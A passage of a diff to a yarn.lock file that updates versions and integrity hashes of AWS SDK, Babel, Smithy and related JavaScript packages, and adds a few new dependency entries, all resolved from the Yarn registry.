+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-endpoints/-/util-endpoints-3.840.0.tgz#7ba508b23a62ba57cf22084d0a40f74b18a2a2d0"
+  integrity sha512-eqE9ROdg/Kk0rj3poutyRCFauPDXIf/WSvCqFiRDDVi6QOnCv/M0g2XW8/jSvkJlOyaXkNCptapIp6BeeFFGYw==
   dependencies:
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/types" "^4.2.0"
-    "@smithy/util-endpoints" "^3.0.4"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/types" "^4.3.1"
+    "@smithy/util-endpoints" "^3.0.6"
     tslib "^2.6.2"
 
 "@aws-sdk/util-locate-window@^3.0.0":
@@ -428,33 +432,41 @@
   dependencies:
     tslib "^2.6.2"
 
-"@aws-sdk/util-user-agent-browser@3.804.0":
-  version "3.804.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.804.0.tgz#0312fda0fd34958a1d89e7691c5b1cf41ad5549b"
-  integrity sha512-KfW6T6nQHHM/vZBBdGn6fMyG/MgX5lq82TDdX4HRQRRuHKLgBWGpKXqqvBwqIaCdXwWHgDrg2VQups6GqOWW2A==
+"@aws-sdk/util-user-agent-browser@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.840.0.tgz#6c2f55494352a86048c52852b0c357bb21905984"
+  integrity sha512-JdyZM3EhhL4PqwFpttZu1afDpPJCCc3eyZOLi+srpX11LsGj6sThf47TYQN75HT1CarZ7cCdQHGzP2uy3/xHfQ==
   dependencies:
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/types" "^4.3.1"
     bowser "^2.11.0"
     tslib "^2.6.2"
 
-"@aws-sdk/util-user-agent-node@3.816.0":
-  version "3.816.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.816.0.tgz#c752f9bc37a973f82841c84b864e362f8ad28f68"
-  integrity sha512-Q6dxmuj4hL7pudhrneWEQ7yVHIQRBFr0wqKLF1opwOi1cIePuoEbPyJ2jkel6PDEv1YMfvsAKaRshp6eNA8VHg==
+"@aws-sdk/util-user-agent-node@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.840.0.tgz#bf959b219012688f4bf32f462e4e411666245e4c"
+  integrity sha512-Fy5JUEDQU1tPm2Yw/YqRYYc27W5+QD/J4mYvQvdWjUGZLB5q3eLFMGD35Uc28ZFoGMufPr4OCxK/bRfWROBRHQ==
   dependencies:
-    "@aws-sdk/middleware-user-agent" "3.816.0"
-    "@aws-sdk/types" "3.804.0"
-    "@smithy/node-config-provider" "^4.1.1"
-    "@smithy/types" "^4.2.0"
+    "@aws-sdk/middleware-user-agent" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@smithy/node-config-provider" "^4.1.3"
+    "@smithy/types" "^4.3.1"
+    tslib "^2.6.2"
+
+"@aws-sdk/xml-builder@3.821.0":
+  version "3.821.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/xml-builder/-/xml-builder-3.821.0.tgz#ff89bf1276fca41276ed508b9c8ae21978d91177"
+  integrity sha512-DIIotRnefVL6DiaHtO6/21DhJ4JZnnIwdNbpwiAhdt/AVbttcE4yw925gsjur0OGv5BTYXQXU3YnANBYnZjuQA==
+  dependencies:
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
 "@babel/cli@^7.16.0":
-  version "7.27.2"
-  resolved "https://registry.yarnpkg.com/@babel/cli/-/cli-7.27.2.tgz#d54560567a73a269b31d3201bedb70692ace8684"
-  integrity sha512-cfd7DnGlhH6OIyuPSSj3vcfIdnbXukhAyKY8NaZrFadC7pXyL9mOL5WgjcptiEJLi5k3j8aYvLIVCzezrWTaiA==
+  version "7.28.0"
+  resolved "https://registry.yarnpkg.com/@babel/cli/-/cli-7.28.0.tgz#26959456cbedff569a2c3ac909e8a268ca6cb7e2"
+  integrity sha512-CYrZG7FagtE8ReKDBfItxnrEBf2khq2eTMnPuqO8UVN0wzhp1eMX1wfda8b1a32l2aqYLwRRIOGNovm8FVzmMw==
   dependencies:
-    "@jridgewell/trace-mapping" "^0.3.25"
+    "@jridgewell/trace-mapping" "^0.3.28"
     commander "^6.2.0"
     convert-source-map "^2.0.0"
     fs-readdir-recursive "^1.1.0"
@@ -475,40 +487,40 @@
     picocolors "^1.1.1"
 
 "@babel/compat-data@^7.27.2":
-  version "7.27.3"
-  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.27.3.tgz#cc49c2ac222d69b889bf34c795f537c0c6311111"
-  integrity sha512-V42wFfx1ymFte+ecf6iXghnnP8kWTO+ZLXIyZq+1LAXHHvTZdVxicn4yiVYdYMGaCO3tmqub11AorKkv+iodqw==
+  version "7.28.0"
+  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.28.0.tgz#9fc6fd58c2a6a15243cd13983224968392070790"
+  integrity sha512-60X7qkglvrap8mn1lh2ebxXdZYtUcpd7gsmy9kLaBJ4i/WdY8PqTSdxyA8qraikqKQK5C1KRBKXqznrVapyNaw==
 
 "@babel/core@^7.16.5":
-  version "7.27.3"
-  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.27.3.tgz#d7d05502bccede3cab36373ed142e6a1df554c2f"
-  integrity sha512-hyrN8ivxfvJ4i0fIJuV4EOlV0WDMz5Ui4StRTgVaAvWeiRCilXgwVvxJKtFQ3TKtHgJscB2YiXKGNJuVwhQMtA==
+  version "7.28.0"
+  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.28.0.tgz#55dad808d5bf3445a108eefc88ea3fdf034749a4"
+  integrity sha512-UlLAnTPrFdNGoFtbSXwcGFQBtQZJCNjaN6hQNP3UPvuNXT1i82N26KL3dZeIpNalWywr9IuQuncaAfUaS1g6sQ==
   dependencies:
     "@ampproject/remapping" "^2.2.0"
     "@babel/code-frame" "^7.27.1"
-    "@babel/generator" "^7.27.3"
+    "@babel/generator" "^7.28.0"
     "@babel/helper-compilation-targets" "^7.27.2"
     "@babel/helper-module-transforms" "^7.27.3"
-    "@babel/helpers" "^7.27.3"
-    "@babel/parser" "^7.27.3"
+    "@babel/helpers" "^7.27.6"
+    "@babel/parser" "^7.28.0"
     "@babel/template" "^7.27.2"
-    "@babel/traverse" "^7.27.3"
-    "@babel/types" "^7.27.3"
+    "@babel/traverse" "^7.28.0"
+    "@babel/types" "^7.28.0"
     convert-source-map "^2.0.0"
     debug "^4.1.0"
     gensync "^1.0.0-beta.2"
     json5 "^2.2.3"
     semver "^6.3.1"
 
-"@babel/generator@^7.27.3", "@babel/generator@^7.4.0":
-  version "7.27.3"
-  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.27.3.tgz#ef1c0f7cfe3b5fc8cbb9f6cc69f93441a68edefc"
-  integrity sha512-xnlJYj5zepml8NXtjkG0WquFUv8RskFqyFcVgTBp5k+NaA/8uw/K+OSVf8AMGw5e9HKP2ETd5xpK5MLZQD6b4Q==
+"@babel/generator@^7.28.0", "@babel/generator@^7.4.0":
+  version "7.28.0"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.28.0.tgz#9cc2f7bd6eb054d77dc66c2664148a0c5118acd2"
+  integrity sha512-lJjzvrbEeWrhB4P3QBsH7tey117PjLZnDbLiQEKjQ/fNJTjuq4HSqgFA+UNSwZT8D7dxxbnuSBMsa1lrWzKlQg==
   dependencies:
-    "@babel/parser" "^7.27.3"
-    "@babel/types" "^7.27.3"
-    "@jridgewell/gen-mapping" "^0.3.5"
-    "@jridgewell/trace-mapping" "^0.3.25"
+    "@babel/parser" "^7.28.0"
+    "@babel/types" "^7.28.0"
+    "@jridgewell/gen-mapping" "^0.3.12"
+    "@jridgewell/trace-mapping" "^0.3.28"
     jsesc "^3.0.2"
 
 "@babel/helper-annotate-as-pure@^7.27.1":
@@ -529,6 +541,11 @@
     lru-cache "^5.1.1"
     semver "^6.3.1"
 
+"@babel/helper-globals@^7.28.0":
+  version "7.28.0"
+  resolved "https://registry.yarnpkg.com/@babel/helper-globals/-/helper-globals-7.28.0.tgz#b9430df2aa4e17bc28665eadeae8aa1d985e6674"
+  integrity sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==
+
 "@babel/helper-module-imports@^7.27.1":
   version "7.27.1"
   resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz#7ef769a323e2655e126673bb6d2d6913bbead204"
@@ -566,18 +583,18 @@
   resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz#fa52f5b1e7db1ab049445b421c4471303897702f"
   integrity sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==
 
-"@babel/helpers@^7.27.3":
-  version "7.27.3"
-  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.27.3.tgz#387d65d279290e22fe7a47a8ffcd2d0c0184edd0"
-  integrity sha512-h/eKy9agOya1IGuLaZ9tEUgz+uIRXcbtOhRtUyyMf8JFmn1iT13vnl/IGVWSkdOCG/pC57U4S1jnAabAavTMwg==
+"@babel/helpers@^7.27.6":
+  version "7.27.6"
+  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.27.6.tgz#6456fed15b2cb669d2d1fabe84b66b34991d812c"
+  integrity sha512-muE8Tt8M22638HU31A3CgfSUciwz1fhATfoVai05aPXGor//CdWDCbnlY1yvBPo07njuVOCNGCSp/GTt12lIug==
   dependencies:
     "@babel/template" "^7.27.2"
-    "@babel/types" "^7.27.3"
+    "@babel/types" "^7.27.6"
 
 "@babel/node@^7.16.5":
-  version "7.27.1"
-  resolved "https://registry.yarnpkg.com/@babel/node/-/node-7.27.1.tgz#6d213576428430368b2c3561e2659bc3991d5ce0"
-  integrity sha512-ef8ZrhxIku9LrphvyNywpiMf1UJsYQll7S4eKa228ivswPcwmObp98o5h5wL2n9FrSAuo1dsMwJ8cS1LEcBSog==
+  version "7.28.0"
+  resolved "https://registry.yarnpkg.com/@babel/node/-/node-7.28.0.tgz#fe52d05121ca064e6919215ffe54fea480a8746f"
+  integrity sha512-6u1Mmn3SIMUH8uwTq543L062X3JDgms9HPf06o/pIGdDjeD/zNQ+dfZPQD27sCyvtP0ZOlJtwnl2RIdPe9bHeQ==
   dependencies:
     "@babel/register" "^7.27.1"
     commander "^6.2.0"
@@ -586,12 +603,12 @@
     regenerator-runtime "^0.14.0"
     v8flags "^3.1.1"
 
-"@babel/parser@^7.27.2", "@babel/parser@^7.27.3", "@babel/parser@^7.4.3":
-  version "7.27.3"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.27.3.tgz#1b7533f0d908ad2ac545c4d05cbe2fb6dc8cfaaf"
-  integrity sha512-xyYxRj6+tLNDTWi0KCBcZ9V7yg3/lwL9DWh9Uwh/RIVlIfFidggcgxKX3GCXwCiswwcGRawBKbEg2LG/Y8eJhw==
+"@babel/parser@^7.27.2", "@babel/parser@^7.28.0", "@babel/parser@^7.4.3":
+  version "7.28.0"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.28.0.tgz#979829fbab51a29e13901e5a80713dbcb840825e"
+  integrity sha512-jVZGvOxOuNSsuQuLRTh13nU0AogFlw32w/MT+LV6D3sP5WdbW61E77RnkbaO2dUvmPAYrBDJXGn5gGS6tH4j8g==
   dependencies:
-    "@babel/types" "^7.27.3"
+    "@babel/types" "^7.28.0"
 
 "@babel/plugin-syntax-jsx@^7.27.1":
   version "7.27.1"
@@ -631,27 +648,34 @@
     "@babel/parser" "^7.27.2"
     "@babel/types" "^7.27.1"
 
-"@babel/traverse@^7.27.1", "@babel/traverse@^7.27.3", "@babel/traverse@^7.4.3":
-  version "7.27.3"
-  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.27.3.tgz#8b62a6c2d10f9d921ba7339c90074708509cffae"
-  integrity sha512-lId/IfN/Ye1CIu8xG7oKBHXd2iNb2aW1ilPszzGcJug6M8RCKfVNcYhpI5+bMvFYjK7lXIM0R+a+6r8xhHp2FQ==
+"@babel/traverse@^7.27.1", "@babel/traverse@^7.27.3", "@babel/traverse@^7.28.0", "@babel/traverse@^7.4.3":
+  version "7.28.0"
+  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.28.0.tgz#518aa113359b062042379e333db18380b537e34b"
+  integrity sha512-mGe7UK5wWyh0bKRfupsUchrQGqvDbZDbKJw+kcRGSmdHVYrv+ltd0pnpDTVpiTqnaBru9iEvA8pz8W46v0Amwg==
   dependencies:
     "@babel/code-frame" "^7.27.1"
-    "@babel/generator" "^7.27.3"
-    "@babel/parser" "^7.27.3"
+    "@babel/generator" "^7.28.0"
+    "@babel/helper-globals" "^7.28.0"
+    "@babel/parser" "^7.28.0"
     "@babel/template" "^7.27.2"
-    "@babel/types" "^7.27.3"
+    "@babel/types" "^7.28.0"
     debug "^4.3.1"
-    globals "^11.1.0"
 
-"@babel/types@^7.27.1", "@babel/types@^7.27.3", "@babel/types@^7.4.0":
-  version "7.27.3"
-  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.27.3.tgz#c0257bedf33aad6aad1f406d35c44758321eb3ec"
-  integrity sha512-Y1GkI4ktrtvmawoSq+4FCVHNryea6uR+qUQy0AGxLSsjCX0nVmkYQMBLHDkXZuo5hGx7eYdnIaslsdBFm7zbUw==
+"@babel/types@^7.27.1", "@babel/types@^7.27.3", "@babel/types@^7.27.6", "@babel/types@^7.28.0", "@babel/types@^7.4.0":
+  version "7.28.0"
+  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.28.0.tgz#2fd0159a6dc7353933920c43136335a9b264d950"
+  integrity sha512-jYnje+JyZG5YThjHiF28oT4SIZLnYOcSBb6+SDaFIyzDVSkXQmQQYclJ2R+YxcdmK0AX6x1E5OQNtuh3jHDrUg==
   dependencies:
     "@babel/helper-string-parser" "^7.27.1"
     "@babel/helper-validator-identifier" "^7.27.1"
 
+"@buttercup/fetch@^0.2.1":
+  version "0.2.1"
+  resolved "https://registry.yarnpkg.com/@buttercup/fetch/-/fetch-0.2.1.tgz#f38bed5f879231920ed4477bd202695d6e70a867"
+  integrity sha512-sCgECOx8wiqY8NN1xN22BqqKzXYIG2AicNLlakOAI4f0WgyLVUbAigMf8CZhBtJxdudTcB1gD5lciqi44jwJvg==
+  optionalDependencies:
+    node-fetch "^3.3.0"
+
 "@colors/colors@1.6.0", "@colors/colors@^1.6.0":
   version "1.6.0"
   resolved "https://registry.yarnpkg.com/@colors/colors/-/colors-1.6.0.tgz#ec6cd237440700bc23ca23087f513c75508958b0"
@@ -830,9 +854,9 @@
   integrity sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==
 
 "@google-cloud/firestore@^7.7.0":
-  version "7.11.1"
-  resolved "https://registry.yarnpkg.com/@google-cloud/firestore/-/firestore-7.11.1.tgz#fbdb99f1e263889fc1c259986238404e7a480136"
-  integrity sha512-ZxOdH8Wr01hBDvKCQfMWqwUcfNcN3JY19k1LtS1fTFhEyorYPLsbWN+VxIRL46pOYGHTPkU3Or5HbT/SLQM5nA==
+  version "7.11.2"
+  resolved "https://registry.yarnpkg.com/@google-cloud/firestore/-/firestore-7.11.2.tgz#412b453a85dec3b568239f6ae49fd5e118820cc0"
+  integrity sha512-BQCSbjWJndCZ6bj8BSGhi4EM1TDFs9HgZXXsJ7d2kEPo+x64fB3OnQE8ffmn3vWADqeAmYBPaMPF/k6PHETXKA==
   dependencies:
     "@opentelemetry/api" "^1.3.0"
     fast-deep-equal "^3.1.1"
@@ -921,13 +945,12 @@
     wrap-ansi "^8.1.0"
     wrap-ansi-cjs "npm:wrap-ansi@^7.0.0"
 
-"@jridgewell/gen-mapping@^0.3.5":
-  version "0.3.8"
-  resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.8.tgz#4f0e06362e01362f823d348f1872b08f666d8142"
-  integrity sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==
+"@jridgewell/gen-mapping@^0.3.12", "@jridgewell/gen-mapping@^0.3.5":
+  version "0.3.12"
+  resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.12.tgz#2234ce26c62889f03db3d7fea43c1932ab3e927b"
+  integrity sha512-OuLGC46TjB5BbN1dH8JULVVZY4WTdkF7tV9Ys6wLL1rubZnCMstOhNHueU5bLCrnRuDhKPDM4g6sw4Bel5Gzqg==
   dependencies:
-    "@jridgewell/set-array" "^1.2.1"
-    "@jridgewell/sourcemap-codec" "^1.4.10"
+    "@jridgewell/sourcemap-codec" "^1.5.0"
     "@jridgewell/trace-mapping" "^0.3.24"
 
 "@jridgewell/resolve-uri@^3.1.0":
@@ -935,20 +958,23 @@
   resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz#7a0ee601f60f99a20c7c7c5ff0c80388c1189bd6"
   integrity sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==
 
-"@jridgewell/set-array@^1.2.1":
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/@jridgewell/set-array/-/set-array-1.2.1.tgz#558fb6472ed16a4c850b889530e6b36438c49280"
-  integrity sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==
+"@jridgewell/source-map@^0.3.3":
+  version "0.3.10"
+  resolved "https://registry.yarnpkg.com/@jridgewell/source-map/-/source-map-0.3.10.tgz#a35714446a2e84503ff9bfe66f1d1d4846f2075b"
+  integrity sha512-0pPkgz9dY+bijgistcTTJ5mR+ocqRXLuhXHYdzoMmmoJ2C9S46RCm2GMUbatPEUK9Yjy26IrAy8D/M00lLkv+Q==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.25"
 
-"@jridgewell/sourcemap-codec@^1.4.10", "@jridgewell/sourcemap-codec@^1.4.14":
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz#3188bcb273a414b0d215fd22a58540b989b9409a"
-  integrity sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==
+"@jridgewell/sourcemap-codec@^1.4.14", "@jridgewell/sourcemap-codec@^1.5.0":
+  version "1.5.4"
+  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.4.tgz#7358043433b2e5da569aa02cbc4c121da3af27d7"
+  integrity sha512-VT2+G1VQs/9oz078bLrYbecdZKs912zQlkelYpuf+SXF+QvZDYJlbx/LSx+meSAwdDFnF8FVXW92AVjjkVmgFw==
 
-"@jridgewell/trace-mapping@^0.3.24", "@jridgewell/trace-mapping@^0.3.25":
-  version "0.3.25"
-  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz#15f190e98895f3fc23276ee14bc76b675c2e50f0"
-  integrity sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==
+"@jridgewell/trace-mapping@^0.3.24", "@jridgewell/trace-mapping@^0.3.25", "@jridgewell/trace-mapping@^0.3.28":
+  version "0.3.29"
+  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz#a58d31eaadaf92c6695680b2e1d464a9b8fbf7fc"
+  integrity sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==
   dependencies:
     "@jridgewell/resolve-uri" "^3.1.0"
     "@jridgewell/sourcemap-codec" "^1.4.14"
@@ -959,9 +985,9 @@
   integrity sha512-iUKgm52T8HOE/makSxjqoWhe95ZJA1/G1sYsGev2JDKUSS14KAgg1LHb+Ba+IPow0xflbnSkOsZcO08C7w1gYw==
 
 "@mongodb-js/saslprep@^1.1.0":
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/@mongodb-js/saslprep/-/saslprep-1.2.2.tgz#09506f29cc2a99d9d7b951caa7fffc87e522a6d3"
-  integrity sha512-EB0O3SCSNRUFk66iRCpI+cXzIjdswfCs7F6nOC3RAGJ7xr5YhaicvsRwJ9eyzYvYRlCSDUO/c7g4yNulxKC1WA==
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/@mongodb-js/saslprep/-/saslprep-1.3.0.tgz#75bb770b4b0908047b6c6ac2ec841047660e1c82"
+  integrity sha512-zlayKCsIjYb7/IdfqxorK5+xUMyi4vOKcFy10wKJYc63NSdKI8mNME+uJqfatkPmOSMMUiojrL58IePKBm3gvQ==
   dependencies:
     sparse-bitfield "^3.0.3"
 
@@ -1194,77 +1220,78 @@
   resolved "https://registry.yarnpkg.com/@sideway/pinpoint/-/pinpoint-2.0.0.tgz#cff8ffadc372ad29fd3f78277aeb29e632cc70df"
   integrity sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==
 
-"@smithy/abort-controller@^4.0.3":
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/@smithy/abort-controller/-/abort-controller-4.0.3.tgz#53a53dabc5a46fec70857acb07653d658c79b916"
-  integrity sha512-AqXFf6DXnuRBXy4SoK/n1mfgHaKaq36bmkphmD1KO0nHq6xK/g9KHSW4HEsPQUBCGdIEfuJifGHwxFXPIFay9Q==
+"@smithy/abort-controller@^4.0.4":
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/@smithy/abort-controller/-/abort-controller-4.0.4.tgz#ab991d521fc78b5c7f24907fcd6803c0f2da51d9"
+  integrity sha512-gJnEjZMvigPDQWHrW3oPrFhQtkrgqBkyjj3pCIdF3A5M6vsZODG93KNlfJprv6bp4245bdT32fsHK4kkH3KYDA==
   dependencies:
-    "@smithy/types" "^4.3.0"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@smithy/config-resolver@^4.1.2", "@smithy/config-resolver@^4.1.3":
-  version "4.1.3"
-  resolved "https://registry.yarnpkg.com/@smithy/config-resolver/-/config-resolver-4.1.3.tgz#d883b2edaa05594cb7f002b2e1d4c5b495c1be42"
-  integrity sha512-N5e7ofiyYDmHxnPnqF8L4KtsbSDwyxFRfDK9bp1d9OyPO4ytRLd0/XxCqi5xVaaqB65v4woW8uey6jND6zxzxQ==
+"@smithy/config-resolver@^4.1.4":
+  version "4.1.4"
+  resolved "https://registry.yarnpkg.com/@smithy/config-resolver/-/config-resolver-4.1.4.tgz#05d8eab8bb8eb73bec90c222fc19ac5608b1384e"
+  integrity sha512-prmU+rDddxHOH0oNcwemL+SwnzcG65sBF2yXRO7aeXIn/xTlq2pX7JLVbkBnVLowHLg4/OL4+jBmv9hVrVGS+w==
   dependencies:
-    "@smithy/node-config-provider" "^4.1.2"
-    "@smithy/types" "^4.3.0"
+    "@smithy/node-config-provider" "^4.1.3"
+    "@smithy/types" "^4.3.1"
     "@smithy/util-config-provider" "^4.0.0"
-    "@smithy/util-middleware" "^4.0.3"
+    "@smithy/util-middleware" "^4.0.4"
     tslib "^2.6.2"
 
-"@smithy/core@^3.3.3", "@smithy/core@^3.4.0":
-  version "3.4.0"
-  resolved "https://registry.yarnpkg.com/@smithy/core/-/core-3.4.0.tgz#e8f4c93d138e68bfc76d43a63429b2b276987d19"
-  integrity sha512-dDYISQo7k0Ml/rXlFIjkTmTcQze/LxhtIRAEmZ6HJ/EI0inVxVEVnrUXJ7jPx6ZP0GHUhFm40iQcCgS5apXIXA==
+"@smithy/core@^3.6.0":
+  version "3.6.0"
+  resolved "https://registry.yarnpkg.com/@smithy/core/-/core-3.6.0.tgz#be02f2a4a56ba83d37298454a0bddc89cbad510b"
+  integrity sha512-Pgvfb+TQ4wUNLyHzvgCP4aYZMh16y7GcfF59oirRHcgGgkH1e/s9C0nv/v3WP+Quymyr5je71HeFQCwh+44XLg==
   dependencies:
-    "@smithy/middleware-serde" "^4.0.6"
-    "@smithy/protocol-http" "^5.1.1"
-    "@smithy/types" "^4.3.0"
+    "@smithy/middleware-serde" "^4.0.8"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/types" "^4.3.1"
+    "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
-    "@smithy/util-middleware" "^4.0.3"
-    "@smithy/util-stream" "^4.2.1"
+    "@smithy/util-middleware" "^4.0.4"
+    "@smithy/util-stream" "^4.2.2"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/credential-provider-imds@^4.0.4", "@smithy/credential-provider-imds@^4.0.5":
-  version "4.0.5"
-  resolved "https://registry.yarnpkg.com/@smithy/credential-provider-imds/-/credential-provider-imds-4.0.5.tgz#d44989d783300af37b2be2fc4ec29cdb67540c32"
-  integrity sha512-saEAGwrIlkb9XxX/m5S5hOtzjoJPEK6Qw2f9pYTbIsMPOFyGSXBBTw95WbOyru8A1vIS2jVCCU1Qhz50QWG3IA==
+"@smithy/credential-provider-imds@^4.0.6":
+  version "4.0.6"
+  resolved "https://registry.yarnpkg.com/@smithy/credential-provider-imds/-/credential-provider-imds-4.0.6.tgz#4cfd79a619cdbc9a75fcdc51a1193685f6a8944e"
+  integrity sha512-hKMWcANhUiNbCJouYkZ9V3+/Qf9pteR1dnwgdyzR09R4ODEYx8BbUysHwRSyex4rZ9zapddZhLFTnT4ZijR4pw==
   dependencies:
-    "@smithy/node-config-provider" "^4.1.2"
-    "@smithy/property-provider" "^4.0.3"
-    "@smithy/types" "^4.3.0"
-    "@smithy/url-parser" "^4.0.3"
+    "@smithy/node-config-provider" "^4.1.3"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/types" "^4.3.1"
+    "@smithy/url-parser" "^4.0.4"
     tslib "^2.6.2"
 
-"@smithy/fetch-http-handler@^5.0.2", "@smithy/fetch-http-handler@^5.0.3":
-  version "5.0.3"
-  resolved "https://registry.yarnpkg.com/@smithy/fetch-http-handler/-/fetch-http-handler-5.0.3.tgz#4db3296bbacd6ddfdc9f8b8b2a6fb52d201dace3"
-  integrity sha512-yBZwavI31roqTndNI7ONHqesfH01JmjJK6L3uUpZAhyAmr86LN5QiPzfyZGIxQmed8VEK2NRSQT3/JX5V1njfQ==
+"@smithy/fetch-http-handler@^5.0.4":
+  version "5.0.4"
+  resolved "https://registry.yarnpkg.com/@smithy/fetch-http-handler/-/fetch-http-handler-5.0.4.tgz#c68601b4676787e049b5d464d5f4b825dbb44013"
+  integrity sha512-AMtBR5pHppYMVD7z7G+OlHHAcgAN7v0kVKEpHuTO4Gb199Gowh0taYi9oDStFeUhetkeP55JLSVlTW1n9rFtUw==
   dependencies:
-    "@smithy/protocol-http" "^5.1.1"
-    "@smithy/querystring-builder" "^4.0.3"
-    "@smithy/types" "^4.3.0"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/querystring-builder" "^4.0.4"
+    "@smithy/types" "^4.3.1"
     "@smithy/util-base64" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/hash-node@^4.0.2":
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/@smithy/hash-node/-/hash-node-4.0.3.tgz#262367c0cb80f9975bdb96e945067dd1f04cdef2"
-  integrity sha512-W5Uhy6v/aYrgtjh9y0YP332gIQcwccQ+EcfWhllL0B9rPae42JngTTUpb8W6wuxaNFzqps4xq5klHckSSOy5fw==
+"@smithy/hash-node@^4.0.4":
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/@smithy/hash-node/-/hash-node-4.0.4.tgz#f867cfe6b702ed8893aacd3e097f8ca8ecba579e"
+  integrity sha512-qnbTPUhCVnCgBp4z4BUJUhOEkVwxiEi1cyFM+Zj6o+aY8OFGxUQleKWq8ltgp3dujuhXojIvJWdoqpm6dVO3lQ==
   dependencies:
-    "@smithy/types" "^4.3.0"
+    "@smithy/types" "^4.3.1"
     "@smithy/util-buffer-from" "^4.0.0"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/invalid-dependency@^4.0.2":
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/@smithy/invalid-dependency/-/invalid-dependency-4.0.3.tgz#045edee05cc380c06ffdf8cc1a81d54005c1e134"
-  integrity sha512-1Bo8Ur1ZGqxvwTqBmv6DZEn0rXtwJGeqiiO2/JFcCtz3nBakOqeXbJBElXJMMzd0ghe8+eB6Dkw98nMYctgizg==
+"@smithy/invalid-dependency@^4.0.4":
+  version "4.0.4"
